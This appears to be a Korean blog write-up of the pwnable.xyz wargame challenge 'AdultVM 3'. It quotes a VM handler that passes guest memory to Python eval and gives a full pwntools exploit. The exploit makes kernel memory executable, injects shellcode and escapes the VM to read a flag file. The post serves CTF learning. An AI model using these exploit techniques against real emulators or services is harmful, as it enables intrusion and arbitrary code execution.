본문으로 바로가기

pwnable.xyz / AdultVM 3

category Wargame/pwnable.xyz 2020. 6. 12. 00:29

AdultVM 2 문제에서 kernel RCE를 할 수 있음을 확인했다.

 

69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
def handle_kernel_interrupt(ucintnodata):    
    if intno == 0x70:
        rax = uc.reg_read(UC_X86_REG_RAX)
        if rax == 0:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            uc.mem_protect(rdi, rsi, rdx)
        elif rax == 7:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            buf = str(eval(str(uc.mem_read(rdi, rdx))))
            uc.mem_write(rsi, buf)
            uc.reg_write(UC_X86_REG_RAX, len(buf))

 

0x70 interrupt를 발생시킬 때, rax가 7이면 rdi가 가리키는 문자열을 python으로 실행하고 결과를 rsi에 저장한다. 이 경우 VM esacpe가 가능하므로, /flag3.txt 를 읽은 뒤 출력시키면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
from time import sleep
import argparse


def EditNote(nid:intnote:bytes) :
    p.writelineafter(b'Exit\n'b'1')
    p.writelineafter(b': 'str(nid).encode())
    p.writeafter(b': ', note)

    if len(note) != 0x40 :
        p.write(b'\n')

def ShowNote(nid:intread_content:bool=True) :
    p.writelineafter(b'Exit\n'b'2')
    p.writelineafter(b': 'str(nid).encode())

    if read_content :
        p.readuntil(b': ')
        return p.readuntil(b'\n1.'drop=True)

def Exit() :
    p.writeline(b'3')

def exploit() :
    sleep(1)

    for i in range(9) :
        EditNote(i, b'A'*0x40)

    payload = b'A'*8
    payload += p64(0x4100380)   # rdi (buf) = &notes[0]
    payload += p64(0x28)        # rsi (size) = sizeof(struct Node)
    payload += p64(0xFF)*2
    payload += p64(0x400000F)   # do_read

    EditNote(9, payload)
    ShowNote(0False)

    payload = p64(10)                    # rax = sys_mprotect
    payload += p64(0xFFFFFFFF81000000)   # rdi (addr) = kernel_base
    payload += p64(0x10000)              # rsi (len) = 0x10000
    payload += p64(7)                    # rdx (prot) = PROT_READ | PROT_WRITE | PROT_EXEC
    payload += p64(0x4000338)            # __syscall

    p.write(payload)
    ShowNote(0False)

    jail = "open('/flag3.txt', 'r').read()"

    payload = b'A'*8
    payload += p64(0)                    # rax = sys_read
    payload += p64(0)                    # rdi (fd) = 0
    payload += p64(0xFFFF8801FFFFE000)   # rsi (buf) = 0xFFFF8801FFFFE000
    payload += p64(len(jail))            # rdx (count) = len(code)
    payload += p64(0x4000338)            # __syscall

    EditNote(9, payload)
    ShowNote(0False)
    p.write(jail)

    code = '''
        mov rax, 7
        int 0x70
        mov rcx, rax
        mov rdx, 0x3F8
        rep outsb
        iret
    '''

    code = asm(code)   # open('/flag3.txt').read()

    payload = b'A'*8
    payload += p64(0)                    # rax = sys_read
    payload += p64(0)                    # rdi (fd) = 0
    payload += p64(0xFFFFFFFF8100013E)   # rsi (buf) = 0xFFFFFFFF8100013E
    payload += p64(len(code))            # rdx (count) = len(code)
    payload += p64(0x4000338)            # __syscall

    EditNote(9, payload)
    ShowNote(0False)
    p.write(code)

    payload = b'A'*8
    payload += p64(11)                   # rax = sys_munmap
    payload += p64(0xFFFF8801FFFFE000)   # rdi = 0xFFFF8801FFFFE000
    payload += p64(0xFFFFFFFF81005000)   # rsi = 0xFFFF8801FFFFD000
    payload += p64(len(jail))            # rdx = len(jail)
    payload += p64(0x4000338)            # __syscall

    EditNote(9, payload)
    ShowNote(0False)

    p.interactive()


if __name__ == '__main__' :
    context.arch = 'amd64'

    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30048fam='ipv4')
    else :
        p = process(['python3''start3.py'])

    exploit()

 

 

 

Last update: 6/12/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / note v5  (0) 2020.06.13
pwnable.xyz / AdultVM 2  (0) 2020.06.11
pwnable.xyz / AdultVM  (2) 2020.05.31
pwnable.xyz / note v4  (0) 2020.05.30
pwnable.xyz / fishing  (0) 2020.05.30